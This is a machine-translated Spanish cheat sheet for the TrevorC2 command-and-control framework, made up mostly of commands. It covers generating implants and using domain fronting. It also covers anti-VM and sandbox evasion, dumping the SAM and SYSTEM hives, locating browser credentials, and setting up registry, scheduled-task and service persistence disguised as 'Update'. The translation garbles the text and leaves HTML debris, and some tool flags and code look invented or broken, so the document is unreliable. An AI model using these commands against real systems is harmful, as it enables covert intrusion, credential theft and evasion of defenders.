Saltar a contenido

Hoja de Cheat Marco TrevorC2

"Clase de la hoja" idbutton id="trevorc2-copy-btn" class="copy-btn" onclick="copyAllCommands()" Copiar todos los comandos

########################################################################################################################################################################################################################################################## Generar PDF seleccionado/button

■/div titulada

Sinopsis

TrevorC2 es un sitio web legítimo que túneles cliente/servidor comunicaciones para ejecución de comando encubierta. Desarrollado por TrustedSec, utiliza sitios web legítimos como un frente para las comunicaciones de comando y control, lo que hace que la detección sea extremadamente difícil ya que el tráfico parece ser una navegación web normal.

NOVEDAD Advertencia: Esta herramienta está destinada a pruebas de penetración autorizadas y ejercicios de equipo rojo solamente. Asegúrese de tener la autorización adecuada antes de usar en cualquier entorno.

Instalación

Git Instalación

# Clone the repository
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2

# Install Python dependencies
pip3 install -r requirements.txt

Configuración manual

# Download latest release
wget https://github.com/trustedsec/trevorc2/archive/master.zip
unzip master.zip
cd trevorc2-master

# Install dependencies
pip3 install pycrypto requests

Docker Instalación

# Build Docker container
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
docker build -t trevorc2 .

# Run container
docker run -it -p 443:443 trevorc2

Uso básico

Configuración del servidor

# Start TrevorC2 server
python3 trevorc2_server.py

# Start server with custom configuration
python3 trevorc2_server.py --config custom_config.py

# Start server on specific port
python3 trevorc2_server.py --port 8080

Despliegue del cliente

# Generate client
python3 trevorc2_client.py

# Generate client with custom server
python3 trevorc2_client.py --server https://example.com

# Generate PowerShell client
python3 trevorc2_client.py --powershell

Referencia del Comando

Comandos de servidor

Command Description
help Display help menu
list List active agents
interact <id> Interact with agent
kill <id> Kill specific agent
killall Kill all agents
exit Exit server

Agente Interacción

Command Description
shell <command> Execute shell command
upload <local> <remote> Upload file to agent
download <remote> <local> Download file from agent
screenshot Take screenshot
keylogger start Start keylogger
keylogger stop Stop keylogger
keylogger dump Dump keylogger data
persistence Install persistence
migrate <pid> Migrate to process
back Background agent

Configuración

Configuración del servidor

# config.py
BIND_PORT = 443
HOSTNAME = "0.0.0.0"
WEBSITE_FOLDER = "site/"
CERT_FILE = "server.pem"

# Encryption settings
CIPHER_TYPE = "AES"
HASH_TYPE = "SHA256"

# Communication settings
BEACON_INTERVAL = 10
JITTER = 0.2

# Logging
LOG_FILE = "trevorc2.log"
DEBUG = False

Configuración del cliente

# Client settings
SERVER_URL = "https://example.com"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
SLEEP_TIME = 10
JITTER = 0.2

# Persistence settings
PERSISTENCE_METHOD = "registry"
PERSISTENCE_KEY = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"

Características avanzadas

Sitio web enmascarado

# Set up legitimate website front
mkdir site
cp -r /var/www/html/* site/

# Use custom website
python3 trevorc2_server.py --site /path/to/website

# Clone existing website
wget -r -p -k https://example.com
python3 trevorc2_server.py --site example.com/

SSL/TLS Configuración

# Generate self-signed certificate
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

# Use custom certificate
python3 trevorc2_server.py --cert /path/to/cert.pem --key /path/to/key.pem

# Let's Encrypt certificate
certbot certonly --standalone -d yourdomain.com
python3 trevorc2_server.py --cert /etc/letsencrypt/live/yourdomain.com/fullchain.pem --key /etc/letsencrypt/live/yourdomain.com/privkey.pem

Domain Fronting

# Configure domain fronting
FRONT_DOMAIN = "cdn.example.com"
HOST_HEADER = "legitimate-site.com"

# Client configuration for domain fronting
client_config = \\\\{
    'server_url': 'https://cdn.example.com',
    'host_header': 'legitimate-site.com',
    'sni': 'cdn.example.com'
\\\\}

Generación del cliente

Cliente de Windows

# Generate Windows executable
python3 trevorc2_client.py --windows --output client.exe

# Generate PowerShell client
python3 trevorc2_client.py --powershell --output client.ps1

# Generate batch file client
python3 trevorc2_client.py --batch --output client.bat

Linux Client

# Generate Linux binary
python3 trevorc2_client.py --linux --output client

# Generate Python client
python3 trevorc2_client.py --python --output client.py

# Generate shell script client
python3 trevorc2_client.py --shell --output client.sh

MacOS Client

# Generate macOS binary
python3 trevorc2_client.py --macos --output client

# Generate AppleScript client
python3 trevorc2_client.py --applescript --output client.scpt

Técnicas de evacuación

Obfuscación de tráfico

# Custom User-Agent strings
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
]

# Random beacon intervals
import random
SLEEP_TIME = random.randint(5, 15)

Codificación de la carga útil

# Base64 encode payload
echo "payload"|base64

# XOR encode payload
python3 -c "
import sys
key = 0xAA
payload = sys.argv[1]
encoded = ''.join([chr(ord(c) ^ key) for c in payload])
print(encoded.encode('hex'))
" "your_payload"

Anti-Analisis

# VM detection
import subprocess
def check_vm():
    vm_indicators = ['VMware', 'VirtualBox', 'QEMU']
    try:
        output = subprocess.check_output('systeminfo', shell=True)
        for indicator in vm_indicators:
            if indicator in output.decode():
                return True
    except:
        pass
    return False

# Sandbox evasion
import time
def sandbox_evasion():
    time.sleep(60)  # Sleep to avoid sandbox analysis
    # Check for mouse movement, user activity, etc.

Post-Explotación

Reunión de información

# System information
shell systeminfo
shell whoami /all
shell net user
shell net group

# Network information
shell ipconfig /all
shell netstat -an
shell arp -a
shell route print

Cosecha temporal

# Dump SAM database
shell reg save HKLM\SAM sam.hiv
shell reg save HKLM\SYSTEM system.hiv
download sam.hiv
download system.hiv

# Browser credentials
shell dir "%APPDATA%\Mozilla\Firefox\Profiles"
shell dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default"

# Saved passwords
shell cmdkey /list

Movimiento Lateral

# Network discovery
shell net view
shell ping -n 1 192.168.1.1-254

# Share enumeration
shell net view \\target-computer
shell dir \\target-computer\c$

# Service enumeration
shell sc query
shell tasklist /svc

Persistence Mechanisms

# Registry persistence
shell reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /d "C:\temp\client.exe"

# Scheduled task
shell schtasks /create /tn "Update" /tr "C:\temp\client.exe" /sc onlogon

# Service persistence
shell sc create "UpdateService" binpath= "C:\temp\client.exe"
shell sc config "UpdateService" start= auto

Seguridad operacional

Seguridad de la comunicación

# Encrypted communications
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

def encrypt_data(data, key):
    cipher = AES.new(key, AES.MODE_GCM)
    ciphertext, tag = cipher.encrypt_and_digest(data.encode())
    return cipher.nonce + tag + ciphertext

# Certificate pinning
import ssl
def verify_certificate(hostname, cert_path):
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_REQUIRED
    context.load_verify_locations(cert_path)

Procedimientos operacionales

# Rotate infrastructure regularly
# Use different domains and IPs
# Implement proper logging and monitoring
# Use legitimate certificates
# Vary communication patterns

Solución de problemas

Cuestiones de conexión

# Check server status
netstat -tlnp|grep :443

# Test connectivity
curl -k https://your-server.com

# Check firewall rules
iptables -L
ufw status

Cuestiones de cliente

# Debug client connection
# Add debug prints to client code
print("Connecting to server...")
print(f"Response: \\\\{response.status_code\\\\}")

# Check DNS resolution
nslookup your-server.com
dig your-server.com

Problemas de certificado

# Verify certificate
openssl x509 -in server.pem -text -noout

# Test SSL connection
openssl s_client -connect your-server.com:443

# Check certificate chain
curl -vI https://your-server.com

Evasión de detección

Nivel de red

  • Use dominios y certificados legítimos
  • Implementar el frente de dominio
  • Intervalos de comunicación Vary
  • Use puertos comunes (80, 443)
  • Patrones de tráfico legítimos

Nivel de acogida

  • Evite los COI comunes
  • Usar nombres legítimos de procesos
  • Implementar técnicas anti-VM
  • Usar la ejecución sin archivos
  • Encrypt payloads and communications

Comportamiento

  • Uso limitado de los recursos
  • Evitar actividades sospechosas
  • Use agentes de usuario legítimos
  • Implementar un correcto manejo de errores
  • Limpiar artefactos

Recursos

-...

*Esta hoja de trampa proporciona una referencia completa para el uso de TrevorC2. Siempre asegúrese de tener una autorización adecuada antes de usar esta herramienta en cualquier entorno. *